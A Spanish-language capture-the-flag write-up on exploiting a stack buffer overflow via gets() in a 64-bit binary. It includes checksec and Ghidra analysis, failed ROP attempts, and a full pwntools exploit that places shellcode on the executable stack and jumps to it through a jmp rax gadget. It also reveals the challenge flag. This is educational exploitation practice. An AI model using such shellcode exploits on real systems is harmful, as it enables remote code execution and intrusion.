Writeup: Feedback_v2

Gracias por particiar, esperamos que te haya gustado! Y recuerda, está prohibido atacar la infraestructura.

CHANGELOG: Eliminada función vulnerable

Análisis Inicial

Realizando un análisis con checksec, observo las siguientes características del binario:

- Arquitectura: amd64-64-little (64 bits)
- RELRO: Partial RELRO (tabla GOT escribible)
- Stack: No canary found (sin protección contra sobrescritura de dirección de retorno)
- NX: Stack Executable (la pila es ejecutable)
- PIE: No PIE (direcciones de código y datos son fijas)

Al analizar el código con Ghidra, puedo identificar que:

- La función main llama a banner() y luego a comment()
- En comment() existe la vulnerabilidad principal:

```
void comment(void) {
  char local_d8[^208]; // Buffer de 208 bytes en la pila
  printf(/* ... */);  // Imprime prompt
  flush_buffers();
  gets(local_d8);     // Vulnerable a Buffer Overflow
  return;
}
```

La vulnerabilidad está clara: la función gets() lee datos sin límite de tamaño, permitiendo escribir más allá de los 208 bytes asignados a local_d8.

Identificación de la Vulnerabilidad y Offset

La vulnerabilidad es un buffer overflow clásico en la pila gracias al uso de gets(). El objetivo es sobrescribir la dirección de retorno guardada.

Calculando el offset:

- Tamaño del buffer: 208 bytes
- Tamaño del saved RBP: 8 bytes
- Offset total: 208 + 8 = 216 bytes

Por lo tanto, necesito enviar 216 bytes de relleno antes de poder controlar RIP.

Estrategias de Explotación

Intento 1: Ret2Win (Fallido)

No existe ninguna función flag/win a la que pueda saltar directamente.

Intento 2: ROP - Ret2Libc (Fallido)

Intenté filtrar una dirección de libc usando puts@plt y puts@got, para luego calcular la dirección de system y "/bin/sh", pero no encontré ningún gadget "pop rdi; ret" necesario para esta técnica.

Intento 3: Shellcode con jmp rsp (Fallido)

Como la pila es ejecutable, quise colocar shellcode en ella y saltar a él con jmp rsp o call rsp, pero ninguno de estos gadgets existe en el binario.

Intento 4: Shellcode con pop rsp (Fallido)

Tampoco encontré el gadget "pop rsp; ret" que me permitiría mover el puntero de pila.

Estrategia Exitosa: Shellcode con gets + jmp rax

Tras revisar todos los gadgets disponibles, observé un detalle crucial: la función gets, según la convención de llamada de Linux x86-64, devuelve en RAX un puntero al buffer donde leyó los

datos. Esto significa que después de que gets termina, RAX apunta al inicio de nuestro buffer local_d8 en la pila.

Encontré un gadget clave:

```
0x00000000004010cc : jmp rax
```

Esto me permite implementar la siguiente estrategia:

1. Construir un payload que comience con shellcode para ejecutar /bin/sh
2. Añadir padding hasta completar 216 bytes
3. Sobrescribir la dirección de retorno con la dirección del gadget jmp rax (0x4010cc)

Exploit

```
from pwn import *
import sys

# Configuración
context.binary = elf = ELF('./feedback_v2')
context.arch = elf.arch
context.log_level = 'info'

# Conexión
HOST = 'ctf.hackademics-forum.com'
PORT = 51425
p = remote(HOST, PORT)

# Constantes
OFFSET_RET = 216
JMPRAX_GADGET = 0x00000000004010cc

# Shellcode
shellcode = asm(shellcraft.amd64.sh())

# Construir Payload
payload = b''
payload += shellcode                # El shellcode va al inicio
```

```
padding_len = OFFSET_RET - len(shellcode)
payload += b'A' * padding_len          # Padding
payload += p64(JMPRAX_GADGET)          # Sobrescribir RIP con jmp rax

# Enviar Payload
p.sendlineafter(b':', payload)

# Interactuar con la shell
p.interactive()
```

Resultado

El exploit aprovecha dos características clave:

1. El comportamiento de gets que coloca la dirección del buffer en RAX
2. La existencia del gadget jmp rax

Cuando gets termina de leer nuestro payload, RAX apunta al inicio de nuestro buffer donde colocamos el shellcode. Luego, al retornar de la función comment(), la ejecución salta al gadget jmp rax, que a su vez salta a nuestro shellcode, dándonos una shell.

Ejecuto `cat flag.txt` y obtengo la flag: `hfctf{d3ja_d3_4t4c4r_l4_infr43structur4}`